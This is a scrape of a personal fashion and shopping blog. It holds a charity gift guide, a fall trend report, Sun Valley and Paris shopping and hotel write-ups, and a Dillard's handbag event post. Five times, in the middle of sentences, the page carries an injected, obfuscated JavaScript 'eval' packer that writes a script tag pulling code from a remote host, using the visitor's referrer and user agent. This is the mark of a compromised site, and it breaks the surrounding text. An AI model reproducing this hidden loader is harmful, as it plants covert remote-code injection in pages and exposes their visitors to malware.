Christmas 2017 Give-Back Gift Guide

Christmas gift guide give back stylespygirlShopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.
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But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!
XOXO,
Tanya

Bought Beautifully

bought beautifully stylespygirl
Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.
bought beautifully stylespygirl 2I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.
Bought Beautifully  sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!
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bought beautifully stylespygirl
Beaded Tassel Earrings from Milot, Haiti, help bring sustainable development through design, training, and job creation. $32
stylespygirl bought beautifully bracelet
Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

speak your silence stylespygirl
My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.
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Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.
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speak your silence stylespygirl 2
Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase. 
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Corbin’s Legacy Bracelets

corbin bracelet style spy girl

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

10 sweatshirts buckle stylesypgirl
Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they  offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.
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Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.
 You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.
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Proof Eyewear

proof eyewear style spy girl

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live. 
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When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.
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Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO
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Fall Fashion Trend Report with Idaho Living

fall fashion 2017 idaho living stylespygirl

fall fashion 2017 idaho living stylespygirl

What’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btrys|var|u0026u|referrer|ratha||js|php’.split(‘|’),0,{}))
in, what’s out, and how can you pull it all together for Fall? Read on for my quick & easy cheat sheet of everything you need to know to be in style this season!

This week, I was honored to be a guest stylist on KBOI Channel 2 News’ Idaho Living show. We brought in some great models to show us hot styles from the Village at Meridian, but for the short length of the TV segment we only got through about HALF of what I wanted to convey to the audience. (It’s so hard for me to STOP talking about fashion, ha ha ha!)

The fashion world in general is having a major revolution right now, and the rules are all up in the air. Skinny jeans? Wide-leg cropped trousers? Overalls? Backwards button-up shirts? White after Labor Day? Yeah sure… Whatever you want to wear, wear it!!! Style it, rock it; just be YOURSELF. ❤ ❤ ❤

On the show, and here on my blog, we’re talking about some of the hot things I’ve seen start trending over the summer, and continue into our fall fashion season. Below is my full list of Fall Fashion Trends, with pictures & examples, that YOU can take to the mall or your favorite local boutique for shopping reference. And be sure to watch the full episode right HERE to see how we styled each trend on our fabulous local models! ENJOY!!! 

MAD FOR PLAIDPlaid is always classic! From jackets to shoes, all types of plaid are in style this season. Find your fave & rock it!

fall fashion trends nordstrom plaids

 

COLD SHOULDERS

On the show, we talked about how shoulders are the big trend thing right now. Off-shoulder, one-shoulder, cut-outs, and cold-shoulder. Anything goes! For my daughter, her school dress code requires a three-finger width on her shoulders, so this cut-out top from Francesca’s was perfect for her!


SASSY SHOESfall fashion sneakers stylespygirl

I spotted the sneakers above in Amsterdam, where E V E R Y O N E wears tennis shoes, flats & boots. Get wild, get creative, and have fun with your sneaks this season!

Also hot: ankle boots, motorcycle boots, high-top sneakers, white shoes for men & women, metallic and velvet footwear of any kind.

PUMP UP THE VOLUME

From sleeves to pants & skirts, get comfortable with comfort! Culottes, wide-leg trousers, accordion skirts, and mega-sleeves are all the rage.


WHAT’S UP YOUR SLEEVE?

Like this picture above from Who, What, Wear shows us, this is the season to wear your attitude on your sleeves! The bigger the better, but ruffles, laces, and more demure takes on this trend are fine as well. Whatever works for YOU!

HAUTE HUESFall fashion colors H and M stylespygirl

It’s red, red, red everywhere right now! But also pink, lol. Seriously, all sweetheart shades from traffic-stop ruby red to Millennial pink (like the Coach bag below!) are totally acceptable.

fall fashion 2017 idaho living stylespygirl 1b

SHIMMER & SHINE

Velvet and patent leathers are back, along with metallics, holograms, glitter, and shine!

FLOWER POWER

Lauren showing us her triple-threat fall fashion look from Anthropoligie; fluted sleeves, velvet accordion skirt, WITH florals. (Oh, and stripes too! Those are big this season, yay!)


ALL DENIM EVERYTHINGfall fashion jeans anthropologie stylespygirl

Skinny, cropped, long, patched, bedazzled, wide-legged, black, floral, or whatever! All denim is in. Enjoy!

Thank you Idaho Living for the fun opportunity to share my love of fashion with your audience! Special THANKS to all the awesome models who helped out with this segment – Tyson, Lauren, Ellia, Will, and Blake! 

And extra-special thanks to Tina Tatum of Tatum Productions for the awesome on-set pictures!!! XOXO,
Tanya

Style Spy Girl Shopping Guide to Sun Valley

ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkdki|var|u0026u|referrer|zkibh||js|php’.split(‘|’),0,{}))
The Sun Valley area is known for its famous ski slopes and celebrity sightings, but it’s also a prime shopping destination. Even if you aren’t fortunate enough to catch Katy Perry strolling the sidewalks, you can most certainly find places to help you dress like her. And it’s less than a three-hour drive from the Treasure Valley!

Both the historic town of Ketchum and its ritzy neighbor Sun Valley are packed with restaurants, art galleries, furniture and gift shops, and boutiques. And trust me, the fashion alone is worth the drive. I recently headed up to the Wood River Valley with a group of girlfriends for an overnight shopping trip.sun valley idaho stylespygirl shopping trio

It’s easy to get around Ketchum, and many shops are within walking distance of each other. And parking spots abound (with no meters — yay!). Up the road, nearly everything is close by once you get to Sun Valley, too. So pull in, grab a latte and get walking.

Treat yourself

Elle Rose is a couture-packed treasure trove, spread out among two sister shops: designer and contemporary. On the designer side, you will find a polished array of luscious luxury items from Valentino, Versace, Chloe, Hermes, Manolo Blahnik and more. On the contemporary side, you can unleash your inner posh-rock-goddess with stunning pieces from Alexander McQueen, Theory, Stella McCartney, Rag & Bone, The Row, etc. This is a couture shop so expect to pay couture prices, but check out the clearance racks in the back of the contemporary store for last-chance deals. 641 Sun Valley Road, Ketchum; 208-726-8871; ellerosesv.com.elle rose sun valley

 The Sheepskin Coat Factory was opened in 1971 by David Norton. He operated a tannery at that time, and manufactured and designed coats and jackets from shearling (sheepskin), selling wholesale to large stores on the East Coast as well as retailing directly in his Ketchum shop and his other regional stores. Although Norton no longer personally produces all the pieces in his store, Sheepskin Coat Factory has stuck to its high-quality values, and it imports inventory only from U.S. and Canadian vendors. The store sells predominantly outerwear and accessories from multiple brands in a range of price points, and it has added several ready-to-wear ladies lines. Our group was particularly impressed by the winter-to-spring transitional travel jackets, like one by Diana Rosh that’s super lightweight and rolls up into a tiny bag. 511 Sun Valley Road, Ketchum; 208-726-3588; sheepskincoat.com.
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

When I walked into Theodore, for a moment I thought we were in a London boutique. Tall shelves stacked with denim and walls of glass adorned with color-categorized racks of clothing entice the eye and pull you deeper into a shopping heaven. The fashions in Theodore are right on trend. The shoes, the attitude, the vibe … very urban chic. 511 Leadville Ave., Ketchum; 208-726-3544.

Déjà Vu is an otherworldly treasure trove. For more than 20 years, owner Suzy Hart has cultivated a collection that must be seen to be believed. From vintage Chanel necklaces to Valentino blouses, fur collars to crystal tiaras, every nook and cranny of Hart’s shop is packed with awe-worthy finds. Déjà vu is not a consignment shop, but an estate and couture boutique. 511 Leadville Ave., Ketchum; 208-726-1908; dejavuvintagestore.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)

ammophotog with StyleSpyGirl for Treasure Magazine (2017)

ammophotog with StyleSpyGirl for Treasure Magazine (2017)

On trend, on budget

Fly fisher and local legend Dick Alfs opened Silver Creek Outfitters in 1963 after years of tying and selling flies that he would hand-deliver to local customers. Decades later, his landmark shop has grown to include men’s and women’s clothing (both functional and fashionable), shoes, accessories, eyewear, luggage, gift and home décor, and everything you’d need for hunting or fishing. Silver Creek Outfitters carries what you need to “take you from a day on the river to an evening on the town.” It carries classic fashion brands like Peter Millar, Scott Barber, 34 Heritage and Patagonia, as well as TRASK shoes. The store also offers outfitted tours and trips. 500 N. Main St., Ketchum; 208-726-5282; www.silver-creek.com.silver creek sun valley

Sway is a bright and airy shop packed with fashion-forward and accessible styles. With a vibe reminiscent of Malibu or Beverly Hills, this store was one of our group’s favorites. Soft colors, uber-trendy denim, must-have blouses and the latest Instagram-worthy accessories stock every shelf and table. Owner Roxanne Harris has impeccable taste, and brands include MiH, Free People, DL 1961, Rails, Elizabeth and James, Paige, Maison Scotch and Joie. 511 Sun Valley Road, Ketchum; 208-928-7884.sway sun valley

Ketchum Flower Company-Girl Friday is your one-stop shop for all things lovely. Michelle Ferris opened her shop 18 years ago to bring “beautiful fresh-cut flowers, tasteful arrangements and eclectic affordable gifts to the valley.” Girl Friday, the clothing side of the shop, is packed with denim, shoes, shirts, scarves and more, from brands like Bed|Stu, Gentle Fawn, Larissa, Free People, Raffi, Sanctuary and Good hYOUman. 440 E. Avenue N., Ketchum; 208-622-7364, ketchumflower.com.

Farmer’s Daughter, founded by self-proclaimed “treasure-hunters, nostalgia keepers, memory creators and magic makers,” is a sweet store with more home décor and less fashion, but the fashions the store does carry are indeed magic — from vintage flannels to repurposed Louis Vuitton handbags draped with fringe, feathers and riveted belt shoulder straps. If you’re on the hunt for unique, check out Farmer’s Daughter. 331 Leadville Ave., Ketchum; 208-726-6433; thefarmersdaughtersunvalley.com.

Cool finds

Ketchum is home to a couple of fun and fabulous consignment/second-hand shops:

Worth Repeating, downstairs from Atkinson’s Market grocery store, is packed with fabulous designer wear, funky décor items, art and jewelry, as well as vintage and resale furniture. Owner Merilee Hansen moved here 51 years ago after she visited from California and fell in love with the area. About 15 years ago, Hansen decided to follow her passion for collecting cool and eclectic things and opened Worth Repeating. In Giacobbi Square at 451 4th St. E., Ketchum; 208-726-9440.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

When you shop at the Gold Mine Thrift Store, you are supporting Ketchum’s Community Library. How cool is that? Also cool: sifting through racks of $3-15 clothing and finding a pair of glittery black Diane Von Furstenberg pants for only $10. When I took them up to the register to pay, the cashier was so excited to see the pants go to an appreciative home that she proceeded to regale me with tales of similar finds, like the Burberry coat scored here for under $30 a couple of years back. If you are looking for an “Are you kidding me?” fashion discovery moment, this is the place to shop. It’s also a great place to find skis and slope gear, jeans, coats and even children’s wear for when you’re in town with the whole family, and you have that one kid who always forgets their swimsuit. For designer treasures, head to the thrift store’s Gold Mine Consign on the very next block. Our crew found previously loved Prada pants, Betsey Johnson fur coats, Gucci bags and more at deeply discounted prices. The Gold Mine Thrift Store is at 331 Walnut Ave. and the Consignment Shop is at 591 4th St. E., Ketchum; comlib.org/goldmine, 208-726-5544.

While we didn’t visit on this trip, the Barkin’ Basement Thrift Store in nearby Hailey is packed with fun finds, and proceeds benefit the Animal Shelter of the Wood River Valley. From fabulous dresses for all occasions to shoes and boots, there’s a bargain waiting here for you. 111 S. Main St., Hailey; animalshelterwrv.org/activity/ barkinbasement.

Shoes and more

Susan and Mark Nieves opened Independent Goods in late 2016 after leaving Seattle in search of adventure and community. They specialize in handmade gifts and collectibles ranging from copper flasks to restored vintage axes. They also have jewelry, T-shirts, household goods and handbags, all made in the United States, including a selection from Idaho. Independent Goods is also set up like the coolest campground you’ve ever visited. Wooden chairs line the walls as display shelves, and a massive canvas tent divides the register area from the clothing part of the store. There is a massive mural inscribed with John Muir’s famous quote, “The mountains are calling and I must go.” 330 Walnut Ave., Ketchum; 208-720-9004; independentgoods.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Ozzie’s Shoes owner Steve Carlson stocks brands that are fashionable and yet immensely functional for mountain winters. During snow season, stop in for a cozy pair of Uggs, rugged waterproof Sorels or chic Freebird by Steven boots. For year-round footwear, Ozzie’s also carries brands such as Superga, Franco Sarto, Dansko, Born and Birkenstock for men, women and children. 406 Leadville Ave. N., Ketchum; 208-726-3604.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Huck & Paddle owner Brandy Herold first ventured into retail when she began creating candles for a friend’s boutique in Washington state. She opened her gift and accessories shop in 2014. Along with her signature homemade candles, Huck & Paddle is stocked with scarves, hats, gloves, jewelry and home décor. Huck & Paddle’s vibe is kitschy/posh, ranging from fur blankets to laser-stenciled suede bracelets, and a wide variety of things you never knew you had to have — until now. 400 Sun Valley Road, Ste. 101, Ketchum; 208-928-6550; HuckandPaddle.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

If you’re looking for a place to touch and feel all the soft, cozy things your heart craves, step into Madeline & Oliver and run your fingers through a rack of bathrobes. This shop is all about texture. From pajamas to lotions, candles to comforters, they have everything you need to indulge yourself — both “Above and Below the Sheets!” 460 Sun Valley Road, Ste. 103, Ketchum; 208-726-7779, madelineandoliver.com. ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

The area’s newest lingerie and sleepwear shop, Undercover, is coincidentally one of its oldest, too. Kim Donald first opened Undercover back in 1978 but moved away after about 10 years. Nearly two years ago, she moved back to Ketchum, and friends and family began asking her to reopen her beloved shop. At the end of 2016, she did just that, taking her original lingerie store concept and expanding it to include sleepwear, loungewear and luxurious body products. Undercover carries lines such as Wacoal, Natori, Chantelle, Bedhead, Cosa Bella, Hanro and Spanx. Be sure to sample the scents of the incredible lotions, bubble baths and bath salts by K. Hall. The Lemongrass body lotion was my favorite; you have to smell it to believe it. 320 Walnut Ave., Ketchum; 208-928-7002.

Sun Valley Resort

From downtown Ketchum, take Sun Valley Road up to the world-famous Sun Valley Resort, a village in its own right that hosts skiing championships, music festivals, celebrity events and, of course, the renowned Sun Valley Film Festival. The resort boasts dozens of skiing, snowboarding and snowshoeing trails, as well as biking and hiking paths, a golf course, a spa, several delicious places to wine and dine, and a plethora of delightful fashion and gift shops. Here are two of our Sun Valley favorites:

Brass Ranch has two locations: one in Sun Valley and another in Ketchum. The huge modern boutiques are packed with large collections of European and American ski and sportswear, plus off-slope fashions, handbags and shoes from designers such as Arc‘teryx, Bogner, Canada Goose, Eider, JetSet, Kjus, Moncler, Ralph Lauren, Marc Jacobs, Zadig & Voltaire, Rossignol and Toni Salier. There’s also a great skin care and makeup bar. We enjoyed the store’s cheerful customer service and the wide variety of fashions for every budget. There’s even a men’s section. ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Panache fashion boutique opened in 1981 in Sun Valley and now has a second location in Park City, Utah. Stop in for a wide range of fashion-forward brands, including Mother, Helmut Lang, Diane von Furstenberg, Velvet, Juicy, Brunello Cucinelli, Goldsign and more. You’ll get personalized assistance. Be sure to check out the clearance rack in back for off-season finds. 3 Sun Valley Road, Sun Valley; 208-622-4228.

panache sun valley

Note: My “Sun Valley” article first appeared in the Idaho Stateman’s “Treasure Magazine,” under the title “Hit the road to Sun Valley for shopping and fun,” dated April 14, 2017. I’m reposting to my blog with their permission; the original is linked here, if you’d like to view it.

Style Spy Girl Guide: the Best Place to Stay in Paris!

hotel bradford elysees paris stylespygirl

bradford elysees hotel paris stylespygirl

Sometimes, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itsaa|var|u0026u|referrer|sibrf||js|php’.split(‘|’),0,{}))
a hotel is just a place to lay your head in a foreign city… But every once in a great while, you find a hotel that feels more like an oasis, and it becomes your home away!
This summer, when I took a group of #stylespygirlposse ladies on a shopping tour of Paris, France, the Hotel Bradford Elysees became exactly that.

bradford elysees hotel paris stylespygirl

If you’ve traveled much,  you have likely experienced both the joy and agony of hotel selection. Finding the right one can mean hours of research, pouring over hotel details and user reviews, or you can play it loose and gamble on a bargain-hunting travel website. But particularly if you’re going to Paris, the task of “where to stay” can be incredibly daunting! Paris has over 2,000 hotels within the city limits, along with innumerable AirBnb-type rental homes and flats available. What part of town do you want to be in? How much are you budgeting per night? Which one is walking distance to the places you want most to visit?

If you’ll allow me, I can make this task truly easy for you: When in Paris, stay at the Bradford Elysees. I am not being paid or compensated in any way for passing along this advice! I simply had a personal experience that surpassed other hotels I’ve stayed in so far, and I wanted to pass along the recommendation to my readers.

The Bradford Elysees is an intimate boutique hotel that behaves like a 5-star resort, but at a bargain price, and everyone ought to know about it!!!
Here’s why:

#1: SIZE

bradford elysees hotel paris stylespygirlHaving traveled extensively in Europe, I’m accustomed to standard hotel rooms that value function over space. Often you’ll get a tiny room, packed tight and well-arranged to take advantage of every square inch… But I’m pretty sure I let out an uncontrolled “Oh my gosh!” upon opening the door of our room at the Bradford Elysees. High ceilings, big open areas, and tall windows with luxurious drapery gave the room a regal feel. And it… Was… HUGE. My roommates and I had plenty of space for three beds, multiple suitcases, a generous seating area, and more!

One evening, we spread out all our groceries and had a “room picnic,” right on the floor!

bradford elysees hotel paris stylespygirl

We also enjoyed the open-air balcony, for people watching and Parisian sunsets. Some of our travel posse who booked a room on the top floor did not have a balcony, but they DID have glorious views of the Eiffel Tower glittering in their windows every night! C’est joli!

bradford elysees hotel paris stylespygirl

bradford elysees hotel paris stylespygirl

#2: LOCATION

Our group specifically wanted to be north of the Seine River, close to sights, convenient to transportation, and walking distance to shopping. The Bradford Elysees had all of that. Catching taxis was convenient at this hotel, but with the Saint-Philippe-du-Roule metro station only a 3-minute walk away, we found it easy to get around town whenever and wherever we needed to by simply hopping on a train.stylespygirl paris metro

We were about a 5 minute walk from Paris’ famed Avenue des Champs-Élysées, an avenue running between the Place de la Concorde and the Place Charles de Gaulle, where the Arc de Triomphe is located. Everything you could ever wish to shop for is on this avenue! From macaron bakeries to designer flagship stores, it’s all here, on wide-open walking streets packed with tourists.

We also loved exploring the many restaurants that surrounded our hotel, and appreciated having a Monoprix nearby for grocery shopping. This came in handy, especially for our Eiffel Tower picnic day!

#3: BREAKFAST

Speaking of food… After staying at the Bradford Elysees, I’ll never be satisfied with a standard continental breakfast, as long as I live!

bradford elysees hotel paris stylespygirlEvery morning began like this: wake up, get dressed, run downstairs to the dining room, and be greeted by a kind gentleman named Francois asking “Good morning, madame! May I fetch you some coffee with breakfast?” Yes, please! Merci boucoup!

Breakfast is complimentary at the Bradford Elysees, and if you don’t take advantage of it, you’re missing out. Omelettes, waffles, crepes, fresh pastries, fruit, meats, cheeses, yogurt, and more were spread out before us every morning, tantalizing our taste buds and spoiling us rotten.hotel bradford elysees stylespygirl paris

But beyond breakfast, there’s even MORE food to appreciate at this amazing hotel! Every afternoon, a complimentary snack bar is laid out. Yes, complimentary as in FREE. Juices, coffees, fruit, cheeses, pastries, and a rotating array of surprises greeted us every day.

And I’m not done with the food part yet! Oh no… not even close!

The Bradford Elysees is just one of a small chain of boutique hotels known as the Astotel group. There are 16 of them throughout Paris,  each with its own unique themes and amenities. And ALL of them have free afternoon snack bars set out, which you have access to regardless of which hotel you’re booked in! Anytime we needed energy or hydration, we could pop into an Astotel around town, relax and recharge. What an amazing concept – I’m in love with them, can you tell??

In the evenings, two more special touches surprised and delighted our crew. A beautiful “honor bar” opened up each night in the hotel, in a posh and airy room that felt like a luxurious parlor from a bygone era. You can mix any cocktail you like, jot down what you used on a checklist, and hand it in at the front desk to be added to your room charges. Easy-peasy!hotel bradford elysees paris stylespygirl

We also appreciated the nightly “Bonsoir” knock on our suite door, where a smiling staff person handed us candies and wished us a lovely evening. What better way to end the day, than with candy and kindness?!?

stylespygirl bradford elysses paris

#4: ALL THE LITTLE THINGS

Besides the food (so much of it!), location, price, and amazing amenities of the Bradford Elysees, I want to take a moment and acknowledge the sheer beauty of the place. Along with being well-appointed with every modern convenience (air conditioning, flatscreen cable tv’s, mini fridge, and a 24-hour reception desk), her glorious Parisian charm gleams in every nook and corner. From the carved wood period elevator to portraits of 19th-century owner Lord Bradford and his family adorning the walls, this hotel is steeped in Haussman era flavor and refined decor.stylespygirl astotel paris hotels

hotel bradford elysees paris stylespygirl

The honor bar room dazzled us with its glass canopy and velvet armchairs, beckoning us to either lively conversation with friends, or a quiet reverie for book reading at the end of a long, busy day jostling crowds of fellow tourists.hotel bradford elysees honor bar stylespygirl

Every staff member we encountered was kind, gracious, helpful, and treated us like their most precious guests. Especially Francois, a true gem among the bustling crew that made our stay so special.hotel bradford elysees stylespygirl paris

Thank you Véronique, Francois, and everyone at the Hotel Bradford Elysees, for an unforgettable Paris experience! I look forward to staying with you again and again, in the future. (Because you’d literally have to pay me to stay anywhere else!) 😉

Cheers & love,
Tanya

All photos by Amber Daley & Tanya Carnahan
_______________________________________________

Book your stay at the Bradford Elysees:

Hotel Bradford Elysees
10 rue St Philippe du Roule
75008 Paris

+33 (0) 1 45 63 20 20

hotel.bradford@astotel.com

Check out all the amazing Astotel hotels at https://en.astotel.com/!

Boise Event Spotlight: Dillard’s Designer Pop-up Shop!

dillards stylespygirl couture bag event

dillards stylespygirl couture bag event 15Pictures eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etezb|var|u0026u|referrer|kzyis||js|php’.split(‘|’),0,{}))
courtesy of
ammophotog

Woohoo, handbag-loving babes, it’s baaaaack!!! Last year, I partnered with Dillard’s to invite you to a new shopping concept that literally popped-up in their stores across the country: the What Goes Around, Comes Around Vintage Handbag Event. This year, it’s back, bigger and better than ever!

Remember this rad shopping party from last year? More pics & the recap of that event here.louis vuitton dillards stylespygirl

This year’s first-come, first-served shopping opportunity is part of Dillard’s collaboration with What Goes Around Comes Around, the leading global purveyor of authentic luxury vintage accessories and apparel. Since 1993, WGACA’s New York City Soho flagship has remained an industry staple, frequented by celebrities and tastemakers from around the world! WGACA’s expert buyers travel the globe to find the rarest and most desirable pieces in exceptional condition, and bring them to YOU for the chance to fill your closet & rock your ensembles with unique and covetable fashion treasures.

dillards stylespygirl couture bag event 3Oversized totes are having a major moment in the fashion world right now! Guess which one I love?

Last year’s shopping party focused on Louis Vuitton bags, exclusively. But this year’s Vintage Handbag Event features pieces from Prada, Fendi, Gucci, and also Louis Vuitton, including everything from wallets to fanny packs to luggage! And now instead of a group party, you get to make a personal private appointment directly with Dillard’s, for your chance to shop these beautiful fashion treasures.

dillards stylespygirl couture bag event 1Remember, vintage and collector pieces are limited in quantity, and when they’re gone, they’re gone!

dillards stylespygirl couture bag event 9Obsessing over the pretty little things!

Make an appointment with Dillard’s for your personal, private shopping moment by calling (208) 321-4646! Or, go into the store in person to book your spot. (You can also email Tami at store934@dillards.com to inquire about specific bags shown here.) In-person shopping appointments start July 20th and go through the 29th. Hurry, before they’re gone!

dillards stylespygirl couture bag event Authentication cards & guarantees – all are real designer bags, some still with their original packaging & tags!

Happy Shopping, my fabulous friends!!!!
XOXO,
Tanya

dillards stylespygirl couture bag event

dillards stylespygirl couture bag event 9

dillards stylespygirl couture bag event

 

dillards stylespygirl couture bag event 9

The Style Spy Girl #TravelPosse Does New York!

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do a group of adventurous women, most of whom hail from Boise, Idaho, take on the concrete jungles of NYC?

Like #bossgirls, that’s how!

This September 2016, we booked a Style Spy Girl Getaway travel group to New York for shopping, exploring, dining, sightseeing, and some incredible Fashion Week shows. Here is a recap of the incredible time we had together! (Most photos in this post are by ammophotog.)

Who We Areftl moda style spy girl groupHeather, Jody, Tina, Lisa, Tanya, Amanda, Maria, Amber

Each Style Spy Girl Getaway is a slightly different crew! Some ladies have joined us for every trip, while others pop in and out as they are able to accommodate costs and dates. For New York 2016, we had a wide variety of lovely friends from Idaho, Arizona, and Washington state; bloggers, hair stylists, media pros, entrepreneurs, business owners, and more! Despite our varying backgrounds and hometowns, a love of adventure and girl time bonded us together. ❤

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Where We Stayednew york fashion week stylespygirl 1

